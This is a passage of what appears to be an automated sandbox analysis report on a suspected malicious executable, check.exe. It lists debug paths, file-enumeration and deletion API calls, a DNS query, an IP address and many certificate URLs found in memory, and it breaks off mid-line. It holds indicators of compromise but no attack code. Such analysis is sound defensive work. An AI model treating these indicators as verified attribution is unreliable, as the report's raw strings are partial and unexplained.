Source:	Binary string: D:\a\1\b\libssl-3.pdbDD source: check.exe, 0000000A.00000002.1929252341.00007FF81FFA5000.00000002.00000001.01000000.0000001B.sdmp
Source:	Binary string: C:\Users\qt\work\qt\qtbase\lib\Qt5Core.pdb source: check.exe, 0000000A.00000002.1922404074.00007FF8175E6000.00000002.00000001.01000000.00000012.sdmp
Source:	Binary string: C:\Users\qt\work\qt\qtimageformats\plugins\imageformats\qtiff.pdb source: check.exe, 00000009.00000003.1535266228.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\qt\work\qt\qtbase\plugins\imageformats\qgif.pdb source: check.exe, 00000009.00000003.1534464385.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_wmi.pdb(('GCTL source: check.exe, 00000009.00000003.1558259541.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\qt\work\qt\qtimageformats\plugins\imageformats\qtga.pdb source: check.exe, 00000009.00000003.1535135785.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: check.exe, 00000009.00000003.1553092763.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 0000000A.00000002.1934814344.00007FF8328F4000.00000002.00000001.01000000.0000000B.sdmp
Source:	Binary string: D:\a\1\b\libcrypto-3.pdb source: check.exe, 0000000A.00000002.1919072539.00007FF8170AA000.00000002.00000001.01000000.0000001A.sdmp
Source:	Binary string: C:\Users\qt\work\qt\qtimageformats\plugins\imageformats\qicns.pdb source: check.exe, 00000009.00000003.1534598659.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\select.pdb source: check.exe, 00000009.00000003.1563714667.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 0000000A.00000002.1932631944.00007FF830CF3000.00000002.00000001.01000000.00000018.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_lzma.pdbNN source: check.exe, 00000009.00000003.1554667624.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 0000000A.00000002.1933226912.00007FF8314CB000.00000002.00000001.01000000.00000010.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_queue.pdb source: check.exe, 00000009.00000003.1554842675.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 0000000A.00000002.1931977826.00007FF82F683000.00000002.00000001.01000000.0000001D.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_wmi.pdb source: check.exe, 00000009.00000003.1558259541.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\qt\work\qt\qtbase\lib\Qt5Widgets.pdb source: check.exe, 0000000A.00000002.1869934497.00007FF815DCA000.00000002.00000001.01000000.00000024.sdmp
Source:	Binary string: C:\Users\qt\work\qt\qtbase\plugins\platforms\qwindows.pdb source: check.exe, 0000000A.00000002.1845027622.00007FF8157A4000.00000002.00000001.01000000.00000026.sdmp
Source:	Binary string: C:\Users\qt\work\qt\qtimageformats\plugins\imageformats\qwbmp.pdb source: check.exe, 00000009.00000003.1535458758.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\python3.pdb source: check.exe, 00000009.00000003.1561770281.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 0000000A.00000002.1817402826.000001DB18C80000.00000002.00000001.01000000.0000000C.sdmp
Source:	Binary string: C:\Users\qt\work\qt\qtbase\lib\libEGL.pdb source: check.exe, 00000009.00000003.1520788673.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\libssl-3.pdb source: check.exe, 0000000A.00000002.1929252341.00007FF81FFA5000.00000002.00000001.01000000.0000001B.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_ssl.pdb source: check.exe, 0000000A.00000002.1929858911.00007FF8217AE000.00000002.00000001.01000000.00000019.sdmp

Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Code function: 9_2_00007FF61C4C9280 FindFirstFileExW,FindClose,	9_2_00007FF61C4C9280
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Code function: 9_2_00007FF61C4C83C0 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	9_2_00007FF61C4C83C0
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Code function: 9_2_00007FF61C4E1874 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	9_2_00007FF61C4E1874

Source: C:\Windows\System32\WerFault.exe	File opened: C:\Users\user\AppData\Local\Temp\_MEI77842\	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	File opened: C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	File opened: C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	File opened: C:\Users\user\	Jump to behavior

Source: Joe Sandbox View

IP Address: 104.20.22.46 104.20.22.46

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: nodejs.org

Source: check.exe, 0000000A.00000002.1821926701.000001DB19A89000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://.../back.j
Source: check.exe, 0000000A.00000002.1826258226.000001DB19D90000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://.../back.jpeg
Source: check.exe, 00000009.00000003.1557034800.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1564570590.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digi
Source: check.exe, 00000009.00000003.1520788673.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredID
Source: check.exe, 00000009.00000003.1510664157.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1537102861.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1512237097.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1534110253.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1534706073.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1535266228.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1535458758.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1535038874.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1521837112.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1520788673.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1513043317.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1535135785.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1537482169.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1509746314.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1535458758.000001B4340F1000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1514617056.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1516403898.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1536720593.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1534598659.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1535610449.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1536427051.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: check.exe, 00000009.00000003.1559975238.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1559975238.000001B4340F2000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1554187441.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1553729160.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1562411545.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1553967785.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1561172890.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1554667624.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1563714667.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1554542632.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1558259541.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1561770281.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1557034800.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1561355505.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1564570590.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1555003612.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1554842675.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000015.00000003.1807544138.0000013D4CD42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: check.exe, 00000009.00000003.1510664157.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1537102861.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1512237097.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1534110253.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1534706073.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1535266228.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1535458758.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1535038874.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1521837112.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1520788673.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1513043317.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1535135785.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1537482169.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1509746314.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1514617056.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1516403898.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1536720593.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1534598659.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1535610449.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1536427051.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1537630477.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: check.exe, 00000009.00000003.1510664157.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1537102861.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1512237097.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1534110253.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1534706073.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1535266228.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1535458758.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1535038874.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1521837112.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1520788673.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1513043317.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1535135785.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1537482169.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1509746314.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1535458758.000001B4340F1000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1514617056.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1516403898.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1536720593.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1534598659.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1535610449.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1536427051.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
Source: check.exe, 00000009.00000003.1559975238.000001B4340F2000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1554187441.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1553729160.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1562411545.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1553967785.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1561172890.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1554667624.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1563714667.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1554542632.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1558259541.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1559975238.000001B4340EC000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1561770281.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1557034800.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1561355505.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1564570590.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1555003612.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1554842675.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000015.00000003.1807544138.0000013D4CD42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: check.exe, 00000009.00000003.1559975238.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1554187441.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1553729160.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1562411545.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1553967785.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1561172890.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1554667624.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1563714667.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1554542632.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1558259541.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1561770281.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1557034800.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1561355505.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1564570590.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1555003612.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1554842675.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000015.00000003.1807544138.0000013D4CD42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: check.exe, 00000009.00000003.1559975238.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1554187441.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1553729160.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1562411545.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1553967785.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1561172890.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1554667624.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1563714667.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1554542632.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1558259541.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1559975238.000001B4340EC000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1561770281.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1557034800.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1561355505.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1564570590.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1555003612.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1554842675.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000015.00000003.1807544138.0000013D4CD42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: check.exe, 0000000A.00000003.1589120882.000001DB19912000.00000004.00000020.00020000.00000000.sdmp, check.exe, 0000000A.00000002.1821926701.000001DB1988C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://code.activestate.com/recipes/577452-a-memoize-decorator-for-instance-methods/
Source: check.exe, 0000000A.00000002.1821926701.000001DB19AE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.certigna.fr/certignarootca.crl01
Source: check.exe, 0000000A.00000002.1817265869.000001DB173A9000.00000004.00000020.00020000.00000000.sdmp, check.exe, 0000000A.00000002.1821926701.000001DB1988C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: check.exe, 0000000A.00000002.1818046790.000001DB1940B000.00000004.00000020.00020000.00000000.sdmp, check.exe, 0000000A.00000002.1821926701.000001DB19A09000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/COMODOCertificationAuthority.crl
Source: check.exe, 0000000A.00000002.1821926701.000001DB19A09000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/COMODOCertificationAuthority.crle
Source: check.exe, 0000000A.00000002.1821926701.000001DB19AE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.dhimyotis.com/certignarootca.crl
Source: check.exe, 0000000A.00000002.1821926701.000001DB19AE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.dhimyotis.com/certignarootca.crlI
Source: check.exe, 0000000A.00000002.1821926701.000001DB19A89000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.securetrust.com/SGCA.crl
Source: check.exe, 0000000A.00000002.1821926701.000001DB1988C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.securetrust.com/SGCA.crl0
Source: check.exe, 0000000A.00000002.1821926701.000001DB19A89000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.securetrust.com/SGCA.crld:4
Source: check.exe, 0000000A.00000002.1821926701.000001DB19A89000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.securetrust.com/STCA.crl
Source: check.exe, 0000000A.00000002.1821926701.000001DB1988C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.securetrust.com/STCA.crl0
Source: check.exe, 0000000A.00000002.1821926701.000001DB19A89000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.xrampsecurity.com/XGCA.crl
Source: check.exe, 0000000A.00000002.1821926701.000001DB1988C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.xrampsecurity.com/XGCA.crl0
Source: check.exe, 00000009.00000003.1559975238.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1559975238.000001B4340F2000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1554187441.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1553729160.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1562411545.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1553967785.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1561172890.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1554667624.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1563714667.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1554542632.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1558259541.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1561770281.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1557034800.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1561355505.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1564570590.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1555003612.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1554842675.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000015.00000003.1807544138.0000013D4CD42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: check.exe, 00000009.00000003.1510664157.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1537102861.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1512237097.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1534110253.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1534706073.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1535266228.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1535458758.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1535038874.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1521837112.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1520788673.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1513043317.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1535135785.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1537482169.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1509746314.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1514617056.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1516403898.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1536720593.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1534598659.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1535610449.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1536427051.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1537630477.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: check.exe, 00000009.00000003.1510664157.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1537102861.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1512237097.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1534110253.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1534706073.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1535266228.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1535458758.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1535038874.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1521837112.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1520788673.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1513043317.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1535135785.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1537482169.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1509746314.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1535458758.000001B4340F1000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1514617056.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1516403898.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1536720593.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1534598659.000001B4340E4000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1535610449.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1536427051.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
Source: check.exe, 00000009.00000003.1559975238.000001B4340F2000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1554187441.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1553729160.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1562411545.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1553967785.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1561172890.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1554667624.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1563714667.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 00000009.00000003.1554542632.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp, check.exe, 